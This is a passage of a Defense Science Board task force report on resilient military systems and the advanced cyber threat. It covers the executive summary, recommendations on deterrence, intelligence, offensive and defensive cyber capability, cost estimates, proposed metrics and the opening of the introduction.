recreated in a laboratory or factory environment . Such inform ation provides tremendous benefit to an adversary , shortening time for development of countermeasures by years . In addition, there is evidence of attacks that exploit known vulnerabilities in the domestic power grid and critical infrastructure systems. 4,5 DoD , and the U nited States , is extremely reliant on the availability of its critical infrastructure. 4 US-Canada Power System Outage Task Force Final Report on the August 14, 2003 Blackout in the United States and Canada: Causes and Recommendations; April 2004; Excerpt from report: “ The generation and delivery of electricity has been, a nd continues to be, a target of malicious groups and individuals intent on disrupting this system. Even attacks that do not directly target the electricity sector can have disruptive effects on electricity DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 4 Resilient Military Systems and the Advanced Cyber Threat Exploitation is not a new threat . For years adversaries have infiltrat ed U .S. systems, sometimes detected, sometimes deflected, but almost never dete rred. A recently declassified Soviet Union operation against the U nited States serves as an effective example. Starting in the late 1970s, t he Gunman operation exploited an operationally introduced vulnerability resulting in the transmission to Soviet intelligence of every keystroke in 16 IBM Selectric typewriters located in the U .S. Embassy in Moscow and the U .S. Mission in Leningrad. More recently, in 2010, the 2nd International Conference on Information Engineering and Computer Science (ICIECS), published an article titled “Towards Hardware Trojan: Problem Analysis and Trojan Simulation” authored by members of the Department of Computer Science and Technology Zhengzhou Institute of Information Science and Technology, in Zhengzhou, China whi ch outlined the technical approach elements for developing covertly modified hardware. The concept of hardware modification is so prevalent now that criminal elements routinely insert modified or replacement card readers to steal customer information from automated teller machines (ATMs) , and other commercial activities. Recent DoD and U .S. interest in counterfeit parts has resulted in the identification of widespread introduction of counterfeit parts into DoD systems through commercial supply chains. Since many systems use the same processors and those processors are typically built overseas in untrustworthy environments, the challenge to supply chain management in a cyber - contested environment is significant. Identification of operationally introduce d vulnerabilities in complex systems is extremely difficult technically , and as a result , cost prohibitive . The U nited States only learned of Project GUNMAN via a tipoff from a liaison intelligence service. The ability of intelligence to provide unique and specific information provides some mitigation against a Tier V -VI adversary’s ability to introduce vulnerabilities. DoD is in the process of institutiona lizing a Supply Chain Risk Management (SCRM) strategy that prioritizes scarce security resources on critical mission systems and components, provides intelligence analysis to acquisition programs and incorporates vulnerability risk mitigation requirements into system designs. The success of DoD red teams against its operational systems should also give pause to DoD leadership. During exercises and testing, DoD red teams, using only small teams and a short amount of time, are able to significantly disrupt the “blue team’s” ability to carry out military system operations. Many malicious code attacks, by their very nature, are unbiased and tend to interfere with operations supported by vulnerable applications. One such incident occurred in January 2003, when the “Slammer” Internet worm took down monitoring computers at FirstEnergy Corporation’s idled Davi s-Besse nuclear plant. A subsequent report by the North American Electric Reliability Council (NERC) concluded that although the infection caused no outages, it blocked commands that operated other power utilities.” 5 In the Crossfire Critical Infrastruct ure in the Age of Cyber War; 2010 joint study between McAfee and CSIS DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 5 Resilient Military Systems and the Advanced Cyber Threat missions. Typically , the disruption is so great, that the exercise must be essentially reset without the cyber intrusion to allow enough operational capability to proceed. T hese stark demonstrations contribu te to the Task Force’s assertion that the functioning of DoD’s systems is not assured in the presence of even a modestly aggressive cyber attack. The DSB 2010 Summer Study addressed the issue of degraded operations and the need to include cyber attacks in realistic exercises. T he Chairman, Joint Chiefs of Staff, issued an instruction in February 2011 6 mandating that all DoD exercises b egin to include realistic cyber attacks into their war games. If this level of damage can be done by a few smart people , in a few days, using tools available to everyone, imagine what a determined, sophisticated adversary with large amounts of people, time, and money could do. New is the wide spread knowledge of the destructive ability of cyber attacks (e.g. Aurora, Stux net, etc.). The cyber world has moved from exploitation and disruption to destruction. The benefits to an attacker using cyber exploits are potentially spectacular . Should the U nited States find itself in a full -scale conflict with a peer adversary, attacks would be expected to include denial of service, data corruption, supply chain corruption, traitorous insiders, kinetic and related non -kinetic attacks at all altitudes from underwater to space. U .S. guns, missiles, and bombs may not fire, or may be directed against our own troops . Resupply, including food, water, ammunition, and fuel may not arrive when or where needed. Military Commanders may rapidly lose trust in the information and abil ity to control U .S. systems and forces. Once lost, that trust is very difficult to regain. The impact of a destructive cyber attack on the civilian population would be even greater with no electricity, money, communications, TV, radio, or fuel (electric ally pumped). In a short time, food and medicine distribution systems would be ineffective; transportation would fail or become so chaotic as to be useless. Law enforcement, medical staff, and emergency personnel capabilities could be expected to be barely functional in the short term and dysfunctional over sustained periods. If the attack’s effects were reversible, damage could be limited to an impact equivalent to a power outage lasting a few days. If an attack’s effects cause physical damage to control s ystems, pumps, engines, generators, controllers, etc., the unavailability of parts and manufacturing capacity could mean months to years are required to rebuild and reestablish basic infrastructure operation. The DoD should expect cyber attacks to be pa rt of all conflicts in the future, and should not expect competitors to play by our version of the rules , but instead apply their rules (e.g. using surrogates for exploitation and offense operations, sharing IP with local industries for economic gain, etc. ). 6 CJCSI 6510.01F: Information Assurance and Support to Computer Network Defense, 9 February 2011 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 6 Resilient Military Systems and the Advanced Cyber Threat Based upon the societal dependence on these systems, and the interdependence of the various services and capabilities, the Task Force believes that the integrated impact of a cyber attack has the potential of existential consequence. While the manifestation of a nuclear and cyber attack are very different, in the end, the existential impa ct to the United States is the same . To address the widespread cyber threats, the Task Force defined cyber risk ( Figure ES. 2) as a function of the following parameters: threa t, vulnerabilities of the systems you need to protect, and consequences of losing the systems. The threat broke into two categories : adversary intent and their capabilities. Vulnerabilities are described as either inherent or operationally introduced, and consequences either fixable or fatal to the impacted systems. Figure ES. 2 Risk Management Parameters The Task F orce could not discover a credible mechanism to reduce the value of any of the three parameters alone or in conjunction with the other parameters, to zero. Therefore, the threat, vulnerability and consequence parameters cannot be managed in isolation. A sy stems solution is required. Today , much of DoD ’s money and effort are spent trying to defend against just the inherent vulnerabilities which exist in all complex systems. Defense -only is a failed strategy. The Task Force developed a layered approach for managing cyber risk:  Since it will be impossible to fully defend our systems against Tier V -VI threats, deterrence must be an element of an overall risk reduction strategy .  Defending against known vulnerabilities is an insufficient strategy against Ti er III and IV threats. Additional measures are required, such as consequence management.  When properly executed, defensive strategies can defend against Tier I and II threats. The White House and DoD each published a cyber strategy in 2011. Both strategi es note the importance of the threat and the increased diligence required to protect the country. Each strategy provides a high -level framework for a response to the cyber threat, but they lack essential details necessary to guide the DoD through execution. The Task Force believes the recommendations provided within this report offer a workable framework and fill in some of the detail about how the Department could prepare to operate in a cyber -contested environment. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 7 Resilient Military Systems and the Advanced Cyber Threat The Task Force could not find a set of metrics employed by Do D or industry that would help DoD shape its investment decisions. A qualitative comparison of resources and DoD level of effort in relation to the success rate of red teams is clear evidence of the lack of useful metrics . The Task Force addresses the lack of metrics in Chapter 4 by providing a conceptual framework to put in place of metrics to improve the Department’s cyber resiliency. In addition, the Task Force also proposed an in itial set of performance measures that could be used to align the Department to the strategy and then measure progress toward implementation. Recommendations An overview of the Task Force’s recommendations is included in this executive summary . Recommendation details , including proposed or ganizational assignments and due dates, are described further in the main body of the report. 1. Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack).  Secretary of Defense ( SECDEF ) assign United States Strategic Command (USSTRATCOM ) the task to ensure the availability of Nuclear Command, Control and Communications ( C3) and the Triad delivery platforms in the face of a full - spectrum Tier V -VI attack – including cyber (supply chain, insiders, communications, etc.) . Our nuclear deterrent is regularly evaluated for reliability and readiness. However most of the systems have not been assessed (end -to-end) against a Tier V -VI cyber attack to understand possible weak spots. A 2007 Air Force study addressed portions of this issue for the ICBM leg of the U .S. triad but was still not a complete assessment against a high -tier threat. 7 The Task Force believes that our capacity for deterrence will remain viable into the foreseeable future , only because cyber practitioners that pose Tier V -VI level threats are limited to a few state actor s who have much to hold at risk , combined with confidence in our ability to attribute an existential level attack. 2. Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabilities Necessary for Assured Operation in the Face of a Full -Spectrum Adversary.  SECDEF and Chairman, Joint Chiefs of Staff (CJCS) designate a mix of forces necessary for assured operation. 7 United States Air Force Scientific Advisory Board Defending and Operating in a Contes ted Cyber Domain; Report on Implications of Cyber Warfare; August 2007; SAB -TR-07-02 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 8 Resilient Military Systems and the Advanced Cyber Threat To ensure the President has options beyond a nuclear -only response to a catastrophic cyber attack, the DoD must develop a mix of offensive cyber and high- confidence conventional capabilities. Cyber offense may provide the means to respond in -kind. The protected conv entional capability should provide credible and observable kinetic effects globally . Forces supporting this capability are isolated and segmented from general purpose forces to maintain the highest level of cyber resiliency at an affordable cost. Nuclear weapons would remain the ultimate response and anchor the deterrence ladder. This strategy builds a real ladder of capabilities and alleviates the need to protect all of our systems to the highest level requirements , which is unaffordable for the nation. Similar to the prior argument regarding the cyber resiliency of the nuclear deterrent, DoD must ensure that some portion of its conventional capability is able to provide assured operations for theater and regional operations within a full -spectrum , cyber -stressed environment . Because of the expected cost of implementation, the protected- conventional capability must support a limited number of cyber critical survivable missions . This Task Force recommends improving the cyber resiliency of a mix of the following systems for assured operation in the face of a full spectrum adversary : global selective strike systems e.g. penetrating bombers, submarines with long range cruise missiles, Conventional Prompt Global Strike ( CPGS ), 8 survivable national and combatant command (CCMD) C2.  Segment Sufficient Forces to Assure Mission Execution in a Cyber Environment Segmentation must differentiate only sufficient forces required to assure mission execution ; it is not required across an entire capability. For example, if long range strike is a component of the protected- conventional capability , then DoD should segment a sufficient quantity that is designated as a cyber critical survivable mission. Notionally, 20 aircraft designated by tail number, out of a fleet of hundreds, might be segregated and treated as part of the cyber critical survivable mission force. Segmented forces must remain separate and isolated from the general purpose forces , with no dual purpose missions (e.g. t he current B -52 conventional/ nuclear mission). DoD must e ngage multi -agency counterparts for an updated Strategic Deterrence Strategy , including the develop ment of cyber escalation scenarios and thin lines. 3. Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies. 8 DSB Task Force on Time Critical Conventional Strike from Strategic Standoff, March 2009 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 9 Resilient Military Systems and the Advanced Cyber Threat  SECDEF in coordination with the Directors of CIA, FBI, and DHS, should require the Director of National Intelligence (DNI) to support enhance d intelligence collection and analysis on high -end cyber threats. Intelligence must include the i dentification and understanding of adversarial cyber weapon development organizations, tools, leadership, and intentions , and the development of targeting information to support initiatives to counter cyber weaponization. Mitigating a Tier V -VI threat is impossible without filling these intelligence gaps . Therefore, the Intelligence Community ( IC) should increase the priority of its intelligence collection and reporting re quirements in this domain. 4. Build and Maintain World- Class Cyber Offensive Capabilities (with appropriate authorities).  United States Cyber Command ( USCYBERCOM ) develop capability to model, game and train for full -scale cyber warfare.  Under Secretary of Defense for Personnel and Readiness (USD (P&R)) establish a formal career path for civilian and military personnel engaged in offensive cyber actions. Today , the U nited States is a leader in cyber offensive capabilities. However, most training and engagem ents are very limited and in controlled environments. P reparing for full -scale force -on- force cyber battle is not well understood. Challenges range from the scale of numbers of expected sorties to uncertainty of triggering mechanisms, trust and capability recovery timelines , and potential blowback of attacks all happening within the fog of war. To prepare , DoD must first begin to understand the full complexities of cyber war. Recommendations include developing the capability to model, war game, red team and eventually train for full scale peer- on-peer cyber warfare. A policy framework should be established for offensive cyber actions , to include who has the authority and under what circumstances and controls to ac t. Finally, DoD needs to significantly increase the number of qualified “cyber warriors” and enlarge the offensive cyber infrastructure commensurate with the size of threat. Professionalizing the cyber offense skill set and providing career ladders in t his new field will be a key element toward growing the human resources required to compete effectively . This report is especially concerned with developing top- tier talent who can be certified to perform at the elite or extreme cyber conflict levels. The U nited States needs such world class performers in substantial numbers --some of whom may not be eligible for security clearances. 5. Enhance Defenses to Protect Against Low and Mid- Tier Threats.  DoD Chief Information Officer ( CIO) in collaboration with the Military Departments and Agencies establish an enterprise security architecture, including DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 10 Resilient Military Systems and the Advanced Cyber Threat appropriate “Building Codes and Standards”, that ensure the availability of enabling enterprise missions. Some adversaries will not be deterred (e.g., terrorist organizations and lone wolves) ; DoD must defend its systems against these low- and mid -tier threats. Therefore, the Task Force recommends that the DoD CIO establish a DoD -wide “Enterprise” architecture, including “building codes and standards” that ensure availability of mission operations during peace -time and full -spectrum wartime events. The building code analogy suggests that DoD should not make every network across the DoD identical, but instead should ensure that all networks, even when tailored by t he Military Departments and end -users, meet a robust set of minimum standards that ensure a reasonable system network defense can be provided. U .S. networks also need requirements for instrumentation to increase the probability of detection of attacks and create situational awareness to speed remediation. E xisting acquisition programs should be influenced, to the maximum extent feasible , with the new requirements. A udits should be conducted to the standard, and conducting in -process reviews to develop migr ation and mitigation strategies are critical. Legacy s ystems that cannot be maintained in a timely mann er, (and DoD has many of them ) must be enclaved and firewalled from the Global Information Grid (GIG). Commercial technologies that enable the automatio n of some network maintenance activities and provide real- time mitigation of detected malware are available today . The Task Force believes that use of these technologies would actually drive network operation costs down and free up resources to hunt on the network for intruders. 6. Change DoD’s Culture Regarding Cyber and Cyber Security.  SECDEF/CJCS establish a DoD -wide policy, communication, education and enforcement program to change the culture regarding cyber and cyber security Establish a DoD -wide policy, communication , and education program to change the cyber culture . When focused, DoD can be one of the most disciplined large organizations in the world. It is this discipline that enables DoD to establish and execute processes that ensure the phys ical fitness of the armed forces, the safe and secure handling of weapons and the effective management of classified material. The same level of importance and discipline has not been applied to cyber hygiene and security. We will not succeed in securing o ur systems against even low- and mid -tier threats without changing this dynamic. Communication of the critical importance of DoD cyber hygiene must be led by the SECDEF, CJCS , and their direct reports . Updated policies and training programs, and providin g clear, punitive consequences for breach of policy will be necessary to move DoD to a higher level of cyber readiness. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 11 Resilient Military Systems and the Advanced Cyber Threat 7. Build a Cyber Resilient Force.  Deputy Secretary of Defense (DEPSECDEF ) should direct specific actions to introduce cyber resiliency requirements throughout DoD force structure to include :  Build a set of standards/requirements that incorporate cyber resiliency into the cyber critical survivable mission systems identified in Recommendation 2, (Under Secretary of Defense for Acquisition, Technology and Logistics ( USD(AT&L) ), DoD CIO) The DoD CIO , in coordination with USD(AT&L ), should establish a resiliency standard to design, build and measure capability against. The Joint Staff will use the standard to inform the requirements process. The cyber resiliency standard should be applied to sufficient segments of the force structure identified as the conventional components of the escalation ladder ( see Recommendation 2) to achieve a credible deterrent effect.  Apply a subset of the cyber resiliency standard developed above to all other DoD programs (USD(AT&L), DOD CIO, Service Acquisition Executives (SAE s))  Increase feedback from testing, red teaming , the I ntelligence Community, and modeling and simulation as a development mechanism to build -out DoD’s cyber resilient force (USD(AT&L ), Undersecretary of Defense for Intelligence (U SD(I)) , DOT&E, SAE s, CJCS)  Develop a DoD -wide cyber technical workforce to support the build out of the cyber critical survivable miss ion capability and rollout to DoD force structure (USD(AT&L), CIO, SAE s, Director, Operational Test and Evaluation ( DOT&E ), USD(I) , USD(P&R))  Science and Technology community establish secure system design project with Federally Funded Research and Develo pment Center s (FFRDC s), University Affiliated Research Centers (UARCs ), academia, commercial and defense industry (Assistant Secretary of Defense for Research and Engineering ( ASD(R&E ))  Intelligence community should initiate a supply chain collection activity (USD(I)) Investment Requirements While it is difficult to project investment costs within an organization as broad and diverse as the DoD , the Task Force attempted to predict the ranges of cost and approximate time frames for which these recommen dations could be accomplished, as shown in Table ES. 1 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 12 Resilient Military Systems and the Advanced Cyber Threat Table ES. 1 Estimated Investment Requirements for Study R ecommendations ROM Timeframe 1 & 2 Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack). Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabilities Necessary for Assured Operation in the Face of a Full-Spectrum Adversary. $$$$ 36-60 mo. 3 Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies. $ 12-24 mo. 4 Build and Maintain World -Class Cyber Offensive Capabilities (with appropriate authorities). $$ 12-24 mo. 5 Enhance Defenses to Protect Against Low and Mid -Tier Threats. $ 6-18 mo. 6 Change DoD’s Culture Regarding Cyber and Cyber Security. $ 12-48 mo. 7 Build a Cyber Resilient Force. $$ 12-24 mo. ROM Costs $ <$50M/yr, $$ $50M -$100M/yr, $$$ $100M -$500M/yr, $$$$ >$500M/yr The good news is, even within the difficult current budget environment, much can be done to address challenges faced in the cyber domain. The Task Force believes the Departm ent must move quickly to better understand the interrelationship between the cyber threat , national defense , and deterrence. The only recommendations requiring a large amount of resources are that of ensuring the strategic deterrent is protected to a high de gree of confidence , and building a protected set of conventional capabilities. While the basic components of these systems exist today, understanding their cyber vulnerabilities, and separating their C2 systems , providing backup or war reserve capabilities to ensure available operation, will require time and resources. Measuring Progress The Task Force unsuccessfully searched for cyber metrics in commercial, academic, and government spaces that directly determine or predict the cyber security or resilience of a given system --which could ultimately be used by the Department to manage and shape its cyber investments. Instead, the Task Force provided an implement ation plan to develop the measurement systems to help the Department execute the strategy defined within this report and then measure performance within that structure. If the Department chooses a different path , the implementation plan can be tailored to address alternate choices. Fundamentally, any metrics based approach must establish a mechanism to determine what will be measured , develop an appropriate collection system and construct appropriate performance measurements. In any enterprise, metrics are only successful if the ir application is driven from the top leadership down through the organization, and followed up with consistent, determined attention. The measures recommended herein serve as a starting point for the Department, but ultimately , experience shows that in any enterprise , metrics will develop and evolve over time DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 13 Resilient Military Systems and the Advanced Cyber Threat as experience is gained. This may seem like a trivial action, but from an historical and cultural aspect, this would be very new to the DoD . The proposed framework enables leadership to first monitor the establishme nt of the collection systems, processes and activity created to implement the Task Force recommendations. Figure ES.3 below shows the first of two proposed metric panels, identifying the establishment of the metric collection systems to implement the Task Force recommendations. Within each recommendation (deterrent, intelligence, world -class offense…), a series of steps, from least to most complicated, are defined with the objective to track the systematic development of enterprise cyber resiliency capability . A maturity level approach is used to ensure the Department can prepare a solid foundation for achieving cyber resilience and allow flexibility if the Department chooses alternative paths to achieving cyber resiliency. At a minimum, each compone nt of the metric collection system in Figure ES.3 must define a common language and standards that can be used across the enterprise and identify reporting and tracking mechanisms that allow leadership the ability to track progress toward the intended goal . Without a common language , any effort will probably fail due to the inability to compare performance across the enterprise. For example, if the Department immediately leapt to an automated intrusion detection collection system without knowing the compo nents of each separate network, or understanding how to detect an intrusion, or how to identify which network architectures supported automation, or when intrusions should be reported, etc . then comparing collected data would involve significant amounts of work just to ensure N etwork A is looked at the same way as N etwork Z. Figure ES.3 Notional Dashboard – Metric Collection System DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 14 Resilient Military Systems and the Advanced Cyber Threat Once the metric collection systems are identified and in place , performance metrics can be defined to give the Department an understanding of its cyber readiness (Figure ES. 4). When properly defined, performance measures provide better insight into actual status. Accurate information gathered from the bottom up can be used to tie the data to e xpenditures and enable visibility into the actual costs of managing network elements. For example, a set of defense/cyber hygiene performance metrics start with a simple count of audits. A line manager could look at the graph and tell immediately how muc h of the network was audited and the results of the audit. Since definitions are common across the enterprise, upper level managers are alerted to danger areas when too many audits result in failure . Audits also expose network components because properly conducted audits require a high fidelity inventory of network components. This creates an ability to measure the cost to manage network elements. Other performance metrics identify the time to patch a system and the time to detect an intruder once a vul nerability is identified. Figure ES. 4 Notional Dashboard – Performance Metrics Ultimately, performance metrics identify b est practices that can then be shared across the organization. Peer pressure between network owners will encourage improved performance by those responsible. The Department will do best to measure outcomes, such as the average time it takes to detect a successful attack that breaches the network perimeter defenses, and the amount of time it takes to recover a system that is lost as a result of a cyber attack. Little value would be DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 15 Resilient Military Systems and the Advanced Cyber Threat generated by jumping to outcome metrics without the common enterprise standards, audit definitions, and an understanding of what the metrics mean. The Task Force estimates that the DoD would have an experience base within two years of gathering data that would begin to allow comparisons of architectures, networks, and system elements for their cyber resilience and cost to operate. That data would provide DoD insight to inform predictions of performance of various architectures and elements versus available budgets. However, the Department must be disciplined and thoughtful about its use of metrics. Poorly defined and improperly used metrics may prove as harmful as no metrics at all. Conclusion The network connectivity that the United States has used to tremendous advantage, economically and militarily, over the past 20 years has made the country more vulnerable than ever to cyber attacks. At the same time, our adversaries are far mo re capable of conducting such attacks. The DoD should expect cyber to be part of all future conflicts, especially against near- peer and peer adversaries. This Task Force believes that full manifestation of the cyber threat could even produce existential co nsequences to the United States, particularly with respect to critical infrastructure. To maintain global stability in the emerging area of cyber warfare, the U nited States must be, and be seen as , a worthy competitor in this domain. This Task Force developed a set of recommendations that, when taken in whole, creates a strategy for DoD to address this broad and pervasive threat. Cyber is a complicated domain and must be managed from a systems perspective. There is no silver bullet tha t will reduce DoD cyber risk to zero. While the problem cannot be eliminated, it can and must be determinedly managed through the combination of deterrence and improved cyber defense. Deterrence is achieved with offensive cyber, some protected- conventional capabilities, and anchored with U.S. nuclear weapons. This strategy removes the requirement to protect all of our military systems from the most advanced cyber threats, which the Task Force believes is neither feasible nor affordable. It will take time to build the capabilities necessary to prepare and protect our country from the cyber threat. We must start now! DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 1.0 Introduction | 16 Resilient Military Systems and the Advanced Cyber Threat 1.0 Introduction 1.1 Identification of This Report This document (and its companion appendices) constitutes the final report of the Defense Science Board (DSB) Task Force study on Resilient Military Systems. This effort was one component of the DSB Cyber Initiative. The other component is addressed by the DSB Task Force on Cyber Security and Reliability in a Digital Cloud . This report is the culmination of a year -plus study by a Task Force comprised of over 20 topic -knowledgeable members selected from the p rivate sector. (See Appendix 2 for a listing of the Task Force membership and structure.) As described in Appendix 3, the Task Force received briefings from civilian, military and private sector personnel from across the spectrum of re search, development, acquisition, administration, operation, and use of automated systems. 1.2 Study Purpose The DSB study on Resilient Military Systems and the Advanced Cyber Threat was commissioned by the Deputy Secretary of Defense, the Hon. William J. Lynn, on May 19, 2011 to:  Study, and if possible, define meaningful measures and metrics to evaluate and monitor the level of DoD operational system resiliency in the face of a cyber attack.  Identify strategies and techniques that could improve DoD system resiliency in the face of a cyber attack. The study Terms of Reference (TOR) (Appendix 1) focused on maintaining the global ability to defend the Nation in the face of increasingly sophisticated and potentially devastating , cyber exploitation and attack. S ome portions of the TOR are repeated below for clarity and emphasis. Recognizing that the superiority of U.S. military systems is critically dependent upon increasingly vulnerable information technology, the Department requested assistance from the DSB in seeking a new perspective on the ways it manages and defends military systems against cyber exploitation and attack. “Innovative use of modern information and communications technology (ICT) (e.g. networks, software and microelectronics) in military systems plays a key and vital role in making the U .S. military second to none. However, the effectiveness of these military systems is extremely dependent upon the information assurance provided by its ICT underpinnings and of the personnel who o perate and maintain the systems. An unintended consequence of the reliance on ICT to sustain superior U .S. capability is that our adversaries can erode or eliminate our advantage by targeting and exploitation at both the system and component level. ” “…To continue to take advantage of modern technology to increase our military effectiveness, we must possess sufficient confidence that these systems are not compromised to such a degree that we lose the benefit. In addition, we want to actively decrease the confidence of our adversaries that their clandestine operations targeting our systems would be effective enou gh to eliminate our advantage.” DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 1.0 Introduction | 17 Resilient Military Systems and the Advanced Cyber Threat The challenges of mounting an effective cyber defense are well -appreciated by the Department’s civilian and military leaders. However, the continually evolving environment of cyber threat and increasing system vulnerabilities poses a worsening situation that demands a more comprehensive and pro -active risk management approach. Effective management entails the ab ility to measure the relative strengths and weaknesses of cyber capabilities as well as organizational progress toward improvement implementation. “…Based in part on the complexity of modern software and microelectronic systems, very small and difficult to detect defects or subversive modifications introduced at some point in the life cycle of the systems can create debilitating effects…As a result of the great and growing complexity of DoD systems, cyber resiliency is an extremely broad and difficult a ttribute to guarantee. ” “…An important step toward designing, implementing and maintaining more resilient systems is to understand how to effectively measure the resiliency of those systems relative to various cyber attacks and adversaries…[to ensure t hat] they will perform as expected in a hostile environment. ” Recognizing the importance of effective measures or metrics and the difficulty in creating good metrics, the DSB was asked to seek any such cyber -relevant measures currently in use as well as to suggest areas where useful metrics might be developed. 1.3 Study Background and Special Circumstances For the past three decades , the United States has led the world in developing and leveraging networks and embedded cyber capabilities to build a significant advantage across a number of linked National Security areas (e.g. military capabilities, intelligence, and the defense industrial base). The resulting DoD doctrine (Joint Vision 2010, 2020) of Full Spectrum Dominance envisioned information superiority to great advantage as a force multiplier. The power of this doctrine and its near total reliance on information superiority led to networking almost every conceivable component within DoD , with frequent networking across the rest of Government, commercial and private entities, and coalition partners in complex, intertwined paths. While proving incredibly beneficial, these ubiquitous IT capabilities have also made the U nited States increasingly dependent upon safe, secure access and the integrity of the data contained in the networks. A weakness of the implementation of this doctrine is its focus on functionality, connectivity and cost of information superiority over security --similar to the development of the Internet. The performance of U .S. military forces over the last decade has demonstrated the superiority of networked systems coupled with kinetic capabilities and well -trained forces. While it is doubtful that the U nited States will face a peer force in the immediate future, “our” adversaries have discovered that the same connectivity and automation that provides great advantage to the US , is also a weakness that presents an opportunity to undermine U .S. capabilities in a very asymmetric way. The same network attack tools that are available on the commercial market are available to our adversaries. In addition, adversaries with financial means will invest to improve those tools and build more capable weapons to attack U.S. military systems and DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 1.0 Introduction | 18 Resilient Military Systems and the Advanced Cyber Threat national infrastructure. Recent reports of Iran building cyber capabilities and Al Qaeda video releases with how -to instructions encouraging attacks on U .S. infrastructure are troubling. In addition to state sponsored attacks against U .S. military capability, a wide range of actors (e.g. criminals, state sponsored economic espionage, etc.) employ cyber tools to pursue illicit economic gain. The almost daily release of new press reports and studies describe the risk and economic harm created by constant cyber attacks against commercial (e.g. financial, social, e - mail, etc .) and government systems. Symantec reports blocking over 5.5 billion attacks with its software in 2011 alone finding that the average breach exposed 1.1 million identit ies and nearly 5,000 new vulnerabilities were identified in the calendar year. 9 Over 400 million unique variants of malware attempted to take advantage of those vulnerabilities, up 40% from 2010. Attack toolkits are easy to find and available in web forums or on the underground black -market and cost only $40- $4,000 to procure. Use of these widely -available tools allows almost anyone to exploit any known and uncorrected vulnerability. Over the last several years, concern over America's cyber risk has made regular headlines and has been the subject of many studies. In January 2008 , President Bush launched the Comprehensive National Cyber Security Initiative. In May 2009 , President Obama accepted the recommendations of the Cyberspace Policy Review to ensure an organized and unified response to future cyber incidents; strengthen public/private partnerships to find technology solutions that ensure U.S. security and prosperity; invest in the cutting -edge research and development necessary for the innovati on and discovery to meet the digital challenges of our time; begin a campaign to promote cyber security awareness and digital literacy from our boardrooms to our classrooms ; and begin to build the digital workforce of the 21 st century. With the establishm ent of various cyber initiatives and strategies, the standing -up of USCYBERCOM , and the development of greater cyber capabilities within the DoD Military Departments and our Nation's intelligence agencies, the U nited States is moving in the right direction . However, to date , this increased activity lacks coordination and consistent strategic intent. This is not the first time the DSB has addressed the subject of cyber security. Indeed, the DSB has repeatedly warned of increasing vulnerabilities of information and communication technologies, the growing cyber threat from state actors as well as smaller groups, and the lack of adequate priorities placed on cyber matters by Department management (Table 1. 2 Previous DSB Studies That Have Addressed the Cyber T heme ). 9 Internet Security Threat Report, Volume 17 ; 2011; Symantec DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 1.0 Introduction | 19 Resilient Military Systems and the Advanced Cyber Threat Table 1. 2 Previous DSB Studies That Have Addressed the Cyber T heme February 2011 2010 Summer Study on Enhancing Adaptability of our Military Forces September 2007 Mission Impact of Foreign Influence on DoD Software April 2007 2006 Summer Study on Information Management for Net-Centric Operations, Volume I April 2007 2006 Summer Study on Information Management for Net -Centric Operations, Volume II January 2007 Critical Homeland In frastructure Protection February 2005 High Performance Microchip Supply June 2001 Defensive Information Operations, Vol. II, Part 2 March 2001 Defensive Information Operations, Vol. II February 2001 2000 Summer Study on Protecting the Homeland: Report on Defensive Information Operations November 1996 Information Warfare Defense October 1994 1994 Summer Study on Information Architecture for the Battlefield The topic of cyber exploitation and attack has been openly addressed in public policy as well as in the press, and the tempo is escalating. Due to the sensitive nature of facts and background data related to cyber, versions of this report were prepared at appropriate classification levels. 1.4 Working Terminology, Scope, and Definitions for this Study For the purpo ses of this DSB study, the term Cyber is broadly used to address all digital automation used by the Department and its industrial base. This includes weapons systems and their platforms; command, control, and communications systems; intelligence, surveillance, and reconnaissance systems; logistics and human resource systems; and mobile as well as fixed -infrastructure systems. “Cyber” applies to, but is not limited to, “IT” and the “backbone network,” and it includes any software or applications resident o n or operating within any DoD system environment. (See Appendix 4 for a mo re complete listing of acronyms used in this report.) Cyber encompasses the entirety of digital electronic systems and devices used by DoD . In today’s world of hyper -connectivity and automation, any device with electronic processing, storage, or software is a potential attack point and every system is a potential victim– including our own weapons systems. Cyber is not the exclusive purview of USCYBERCOM , the DoD Chief Information O fficer (CIO), the Defense Information Systems Agency (DISA), or the individual system support activities of the Military Departments and Commands. Neither can it be discounted by resource planners or system research, development, and acquisition authoriti es as somehow beyond their responsibilities. Cyber provides an area of common concern for all these organizations (and more) – an area where all must work together in addressing this rapidly emerging threat. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 1.0 Introduction | 20 Resilient Military Systems and the Advanced Cyber Threat Resilience is the ability to continue or ret urn to normal operations in the event of some disruption: natural or man -made, inadvertent or deliberate. A goal of 